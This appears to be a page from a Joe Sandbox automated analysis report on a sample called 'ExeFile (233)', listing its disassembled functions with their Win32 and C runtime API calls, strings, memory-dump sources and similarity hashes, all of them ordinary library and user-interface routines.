API String ID: 4106114094-3067454934
Opcode ID: f69c0a922e78807a0b225c01b9b7e650e9e6c5e0ad57cf8c216420461cf175c5
Instruction ID: 0793e8c0385b27168c5ed49dc395ad643d610412e7e07f13e1331a588879ac93
Opcode Fuzzy Hash: f69c0a922e78807a0b225c01b9b7e650e9e6c5e0ad57cf8c216420461cf175c5
Instruction Fuzzy Hash: 54719F75E00209BFDB24DFA9CC81B9EB7B6EB84314F14817AF510F3691D3789A448B59

Function 0040F7B9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 004148BE: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414930

__allrem.LIBCMT ref: 0040F8CC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F8ED
__allrem.LIBCMT ref: 0040F909
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F92C
__allrem.LIBCMT ref: 0040F948
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F96B

Part of subcall function 00415116: __lock.LIBCMT ref: 00415124

Strings

^@, xrefs: 0040F7B9

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$__lock
String ID: ^@
API String ID: 1282128132-3067454934
Opcode ID: 503f9c629e17bedf12aa749e16a2be0b44da8eaeb40d5e21e031042d8dcd9b81
Instruction ID: 6440d212c24c971b3252e86089126bc21e948c25b89904ef9f819ef4e6195108
Opcode Fuzzy Hash: 503f9c629e17bedf12aa749e16a2be0b44da8eaeb40d5e21e031042d8dcd9b81
Instruction Fuzzy Hash: 9C61B3B2900605EFDB24DF69C880AAEB7F5EB84314F24853FE455E3791D7349E898B48

Function 00408DE1 Relevance: 12.3, APIs: 8, Instructions: 303memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408DE6

Part of subcall function 0040780C: CoGetClassObject.OLE32(?,?,00000000,00433C4C,?), ref: 0040782C

Part of subcall function 00426B5A: __EH_prolog.LIBCMT ref: 00426B5F

Part of subcall function 00426B15: __EH_prolog.LIBCMT ref: 00426B1A

CreateILockBytesOnHGlobal.OLE32(00000000,00000001,?), ref: 00408F6F
StgCreateDocfileOnILockBytes.OLE32(?,00001012,00000000,?), ref: 00408F90
GlobalAlloc.KERNEL32(00000000,00000000), ref: 00408FE3
GlobalLock.KERNEL32(00000000), ref: 00408FF1
GlobalUnlock.KERNEL32(?), ref: 00409009
CreateILockBytesOnHGlobal.OLE32(?,00000001,?), ref: 0040902C
StgOpenStorageOnILockBytes.OLE32(?,00000000,00000012,00000000,00000000,?), ref: 00409048

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: GlobalLock$Bytes$CreateH_prolog$AllocClassDocfileObjectOpenStorageUnlock
String ID:
API String ID: 645133905-0
Opcode ID: 005b3a7b1ba1e7ec0c156c389e7c3750a11e397c02a4dfee90b0cb540f4121ed
Instruction ID: adf4c40781447d7e631396cda822757ebb0fe2e859268748525afa0d866fb1c1
Opcode Fuzzy Hash: 005b3a7b1ba1e7ec0c156c389e7c3750a11e397c02a4dfee90b0cb540f4121ed
Instruction Fuzzy Hash: D8C11A70A00209EFCF14DF65C9889AEBBBAFF88304B10456AF811EB291D779DD41CB65

Function 021F14A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 021F14DB
SetLastError.KERNEL32(0000007F), ref: 021F1507

Memory Dump Source

Source File: 00000000.00000002.2113850461.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_21f1000_ExeFile (233).jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: f649229c1163f016b07f91870c78222a302cc32415b555731e65e4864fe24baf
Instruction ID: ae90ad17b81990faae996a2770a16cd596a6d8563d349f4f4af14a0506dee22f
Opcode Fuzzy Hash: f649229c1163f016b07f91870c78222a302cc32415b555731e65e4864fe24baf
Instruction Fuzzy Hash: E4712874E40109EFDB48DF94C590BAEB7B2FF48304F248599D62AAB351D774AA81CF90

Function 0041773D Relevance: 12.2, APIs: 8, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,?,00432B10,00000038,00415751,?,00000000,00000000,0040FE1B,00000000,00000000,004322F0,0000001C,0040FB4A,00000001,00000020), ref: 0041777B
GetCPInfo.KERNEL32(00000000,00000001), ref: 0041778E
_strlen.LIBCMT ref: 004177B2
MultiByteToWideChar.KERNEL32(00000000,00000001,0040FE1B,?,00000000,00000000), ref: 004177D3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Info$ByteCharMultiWide_strlen
String ID:
API String ID: 1335377746-0
Opcode ID: 16f72e5b873a4ab48f6271f059b37c8091238466f59f76de78d94d45d57762bb
Instruction ID: c96e7402d8f87136a9c376d92da51b645b4312610aa90fcb7a9bffc7d4a68029
Opcode Fuzzy Hash: 16f72e5b873a4ab48f6271f059b37c8091238466f59f76de78d94d45d57762bb
Instruction Fuzzy Hash: 25518E70A04218EBDF21AFA6DC89DEFBBB9EF84354F24412BF415A2290D7345D91CB64

Function 00426D32 Relevance: 12.1, APIs: 8, Instructions: 134windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00426D37

Part of subcall function 0040D93F: __EH_prolog.LIBCMT ref: 0040D944

GetCapture.USER32 ref: 0042750F
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 00427528
GetFocus.USER32 ref: 0042753A
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 00427546
GetLastActivePopup.USER32(?), ref: 0042756D
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 00427578
SendMessageA.USER32(?,00000111,0000E147,00000000), ref: 0042759C

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: MessageSend$H_prolog$ActiveCaptureFocusLastPopup
String ID:
API String ID: 2915395904-0
Opcode ID: 985eb66304feea1a64375c5613d292e13957ddd9534c99a91611df43f47409d5
Instruction ID: 19a528a7567d654ee424c3ff896293cafdfeef5f92fb810e1dffabcbd8df109d
Opcode Fuzzy Hash: 985eb66304feea1a64375c5613d292e13957ddd9534c99a91611df43f47409d5
Instruction Fuzzy Hash: 0541F071704228BFCB24AB65EC44E7FB6A9EF44384B60043FF101D3690CB78CC829669

Function 00412A67 Relevance: 12.1, APIs: 8, Instructions: 131COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(76230A60,00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412A83
GetLastError.KERNEL32(?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412A97
GetEnvironmentStringsW.KERNEL32(76230A60,00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412AB9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,76230A60,00000000,?,?,?,?,0040E927), ref: 00412AED
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412B0F
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412B28
GetEnvironmentStrings.KERNEL32(76230A60,00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412B3E
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00412B7A

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$ErrorLast
String ID:
API String ID: 883850110-0
Opcode ID: 1a7aa8cc262657e72444d06c6bde20108307b8118384107d7f56e1d07f72045c
Instruction ID: accb5785985df4b6819ef042d50e533d603ff3fa48001b7d390ff30f191b463a
Opcode Fuzzy Hash: 1a7aa8cc262657e72444d06c6bde20108307b8118384107d7f56e1d07f72045c
Instruction Fuzzy Hash: 9F3159726082656FD7302F759EC48BBB78CEB45394715083BF142C3250E6E86CE582BD

Function 0041F239 Relevance: 12.1, APIs: 8, Instructions: 65memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 0041F256
lstrcmpA.KERNEL32(?,?), ref: 0041F262
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 0041F274
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0041F294
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0041F29C
GlobalLock.KERNEL32(00000000), ref: 0041F2A6
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 0041F2B3
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 0041F2CB

Part of subcall function 0042663E: GlobalFlags.KERNEL32(?), ref: 00426648
Part of subcall function 0042663E: GlobalUnlock.KERNEL32(?,00000000,?,0041F2C5,?,00000000,?,?,00000000,00000000,00000002), ref: 00426659
Part of subcall function 0042663E: GlobalFree.KERNEL32(?), ref: 00426664

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: c54c654e90a360fa660b54eee4c91334e9e2f47313cccc9f547efc29e8fe9139
Instruction ID: 8fa5d7953f2ec37764842a3f19103b125725ee6fb1def39efba1f66d7d1e0517
Opcode Fuzzy Hash: c54c654e90a360fa660b54eee4c91334e9e2f47313cccc9f547efc29e8fe9139
Instruction Fuzzy Hash: 51110676200104BEDB216BA6CC45DAFBABDEF84700B50046EF605D1220D73AC992DB78

Function 022612B0 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 396COMMON

Download Yara Rule

Strings

Ei, xrefs: 022613C0
E?*, xrefs: 02261601
a7a&, xrefs: 02261612
Ei, xrefs: 022617D1
a7a&, xrefs: 02261548

Memory Dump Source

Source File: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: true

Associated: 00000000.00000002.2113944941.0000000002260000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113968818.000000000226D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002270000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002275000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2113980276.0000000002282000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_ExeFile (233).jbxd

Yara matches

Similarity

API ID:
String ID: E?*$a7a&$a7a&$Ei$Ei
API String ID: 0-288907479
Opcode ID: 709adfc9c84f7bed254e0d089e0ae38cc9465eeb11da256b68669de6ba8dc5f6
Instruction ID: c3c1a4a0a74ef334ffef270d45007926b0fc61ba4346c4bbf4ceb0d3c24f7a67
Opcode Fuzzy Hash: 709adfc9c84f7bed254e0d089e0ae38cc9465eeb11da256b68669de6ba8dc5f6
Instruction Fuzzy Hash: 4BE1B0726243428BC718DFE4D498A7FB3E2ABC4744F14491DE48ACB348DB74E995CB92

Function 00404B45 Relevance: 10.7, APIs: 7, Instructions: 247memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00404B4A
MapDialogRect.USER32(?,?), ref: 00404BD8
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00404BF9
CLSIDFromString.OLE32(?,00000004), ref: 00404CF7
CLSIDFromProgID.OLE32(?,00000004), ref: 00404CFF
SetWindowPos.USER32(00000004,?,00000000,00000000,00000000,00000000,00000013,00000001,00000000,00000004,00000000,?,?,?,0000FC84,00000000), ref: 00404D9B
SysFreeString.OLEAUT32(?), ref: 00404DEE

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: String$From$AllocDialogFreeH_prologProgRectWindow
String ID:
API String ID: 493809305-0
Opcode ID: 90d6fed022f37205e91faeaac6504b74e0f75d282e9fda82b03ffbdba748a2f0
Instruction ID: b3c49ecfdae2261962f2f72699b3bcc1d5c4594392ee8f9afc26f4e19ff51694
Opcode Fuzzy Hash: 90d6fed022f37205e91faeaac6504b74e0f75d282e9fda82b03ffbdba748a2f0
Instruction Fuzzy Hash: A1A146B1900219DFDB14DFA9D884AEEBBB4FF48304F10452EE919A7391D738A951CFA4

Function 004148BE Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

Part of subcall function 00411DA5: GetLastError.KERNEL32(?,00000000,0040F9CC,004108AA,00000000,00431B30,00000008,00410901,?,?,?,00410723,00000004,00431B20,00000010,0041200F), ref: 00411DA7
Part of subcall function 00411DA5: FlsGetValue.KERNEL32(?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411DB5
Part of subcall function 00411DA5: FlsSetValue.KERNEL32(00000000,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411DDC
Part of subcall function 00411DA5: GetCurrentThreadId.KERNEL32 ref: 00411DF4
Part of subcall function 00411DA5: SetLastError.KERNEL32(00000000,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00411E0B

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414930
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414A2D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414A86
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414AA3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414AC6

Strings

^@, xrefs: 004148BE

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$ErrorLastValue$CurrentThread
String ID: ^@
API String ID: 223281555-3067454934
Opcode ID: 661871ab33832ade7b7aaf52d2a942668b7e032303f44cc99fa12acc2a8bb67a
Instruction ID: d8969bca762c2fff75cd20f14addf9e5daf178b08686a22cb2c5a04f5c96d0d7
Opcode Fuzzy Hash: 661871ab33832ade7b7aaf52d2a942668b7e032303f44cc99fa12acc2a8bb67a
Instruction Fuzzy Hash: 1F61D8B6A40305AFDB14DFA9CC41BABB3B6EFC4354F25412FF5009B281D7B999808B58

Function 00421820 Relevance: 10.6, APIs: 7, Instructions: 115windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0042184E
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00421875
UpdateWindow.USER32(?), ref: 0042188F
SendMessageA.USER32(?,00000121,00000000,?), ref: 004218B3
SendMessageA.USER32(?,0000036A,00000000,00000004), ref: 004218CD
UpdateWindow.USER32(?), ref: 00421913
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00421947

Part of subcall function 00423CEB: GetWindowLongA.USER32(?,000000F0), ref: 00423CF6

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: b2be0544251454af26a063944dae0fad199999050631c7f4df3474e00c2e4742
Instruction ID: bda951081c485ca147d81411007fe1a190cd778f32f816f53062b6f76fcfd76d
Opcode Fuzzy Hash: b2be0544251454af26a063944dae0fad199999050631c7f4df3474e00c2e4742
Instruction Fuzzy Hash: 2141E4307043519BD731AF26AC84A2BBAF4FFD1758F90092EF48192271C73A8946CB5A

Function 0040698F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114comstringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00406994
GetObjectA.GDI32(00405B22,0000003C,?), ref: 00406A00
lstrlenA.KERNEL32(?), ref: 00406A11
GetDeviceCaps.GDI32(?,0000005A), ref: 00406A88
OleCreateFontIndirect.OLEAUT32(00000020,00433CFC,?), ref: 00406AB4

Strings

, xrefs: 00406A0A

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CapsCreateDeviceFontH_prologIndirectObjectlstrlen
String ID:
API String ID: 4082312370-3916222277
Opcode ID: 61b9ff90e36958d84cbc1077bd490824df986479636f83f491aa45025cd70d28
Instruction ID: c4ebfa65322681a217c67680f7c020fd47e848ba818764bf4c75e36be929e26e
Opcode Fuzzy Hash: 61b9ff90e36958d84cbc1077bd490824df986479636f83f491aa45025cd70d28
Instruction Fuzzy Hash: 34417771E002199BCB10EFE5D845AADBBB4BF18308F10817EE556F7291E7388A09CB54

Function 00428790 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105registryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00428795
RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00428875
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00428892
RegCloseKey.ADVAPI32(?,?,?,?,Software\), ref: 004288B2
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 004288CE

Strings

Software\, xrefs: 004287F3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CloseEnumH_prologOpenQueryValue
String ID: Software\
API String ID: 2161548231-964853688
Opcode ID: f4d1ca52cbf1251d97ab6773c42b41e562382329021e483681a562ce626031c5
Instruction ID: 0a6b551ca9cc724c7325d587e2d88eb9b1ee1faeb4156374ebf6c637dd52548d
Opcode Fuzzy Hash: f4d1ca52cbf1251d97ab6773c42b41e562382329021e483681a562ce626031c5
Instruction Fuzzy Hash: 4241C331A001289BDB21EB65DC41EEEB7B9EF49304F9041AEF145A2191CB789A52CF98

Function 00403CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(?,00000000,?,?,?,?,?,0042CC28,000000FF), ref: 00403D06
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00403D6D
AppendMenuA.USER32(?,00000000,00000010,00000010), ref: 00403D78

Part of subcall function 00403920: FindResourceA.KERNEL32(?,?,00000006), ref: 0040393A

SendMessageA.USER32(?,00000080,00000001,?), ref: 00403DB5
SendMessageA.USER32(?,00000080,00000000,?), ref: 00403DC9

Strings

loopback, xrefs: 00403DCD

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Menu$AppendMessageSend$FindResourceSystem
String ID: loopback
API String ID: 858472958-3546420730
Opcode ID: 4598b109ee9e33227e9328b0220a52c1a9e23e073aa70865d030f30849e1bb02
Instruction ID: 4823e85a43f7f0f7c6a3d4925acab711e54c1865e72890e5d36366e388cdfcd7
Opcode Fuzzy Hash: 4598b109ee9e33227e9328b0220a52c1a9e23e073aa70865d030f30849e1bb02
Instruction Fuzzy Hash: 26319E71240701ABD324EF65DC45F97B7A8FF84720F408A1EF6569B2D1CBB8A805CB58

Function 00429A96 Relevance: 10.6, APIs: 7, Instructions: 96memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0043F1BC,00000000,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940,004295FF), ref: 00429AA6
TlsGetValue.KERNEL32(0043F1A0,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399), ref: 00429AC4
LocalAlloc.KERNEL32(00000000,00000003,00000010,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940), ref: 00429B20
LocalReAlloc.KERNEL32(?,00000003,00000002,00000010,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3), ref: 00429B32
LeaveCriticalSection.KERNEL32(?,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399), ref: 00429B3F
TlsSetValue.KERNEL32(0043F1A0,00000000), ref: 00429B6F
LeaveCriticalSection.KERNEL32(0043F1BC,?,?,0043F1A0,?,00429D0E,?,00000000,?,76230A60,00000000,?,004295E3,00428940,004295FF,0041F399), ref: 00429B90

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CriticalSection$AllocLeaveLocalValue$Enter
String ID:
API String ID: 784703316-0
Opcode ID: 594a4808baee31a767fdc62f7c8140403948de5799d907349c6831314b1ca9d7
Instruction ID: 5dddc9971b22e0e1876c0446c64b268f5833d0c7886631e03ddba794b92d443b
